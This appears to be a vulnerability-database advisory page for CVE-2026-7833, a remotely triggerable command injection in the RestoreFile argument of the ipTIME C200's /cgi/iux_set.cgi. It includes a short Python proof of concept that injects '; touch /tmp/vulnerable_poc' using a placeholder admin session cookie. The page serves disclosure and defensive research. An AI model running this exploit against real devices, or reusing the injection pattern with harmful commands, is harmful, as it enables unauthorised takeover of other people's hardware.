Security Vulnerability Report
中文
CVE-2026-7833 CVSS 7.2 HIGH

CVE-2026-7833

Published: 2026-05-05 13:16:31
Last Modified: 2026-05-05 19:09:32

Description

A weakness has been identified in EFM ipTIME C200 up to 1.092. This vulnerability affects the function sub_408F90 of the file /cgi/iux_set.cgi of the component ApplyRestore Endpoint. This manipulation of the argument RestoreFile causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

EFM ipTIME C200 <= 1.092

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi/iux_set.cgi" # Malicious payload to inject command (e.g., creating a file) # Note: PR:H implies authentication might be required. # Assuming the attacker has a valid session cookie. payload = "; touch /tmp/vulnerable_poc" data = { "RestoreFile": payload } headers = { "Cookie": "session_id=valid_admin_session" # Placeholder for authenticated session } try: response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
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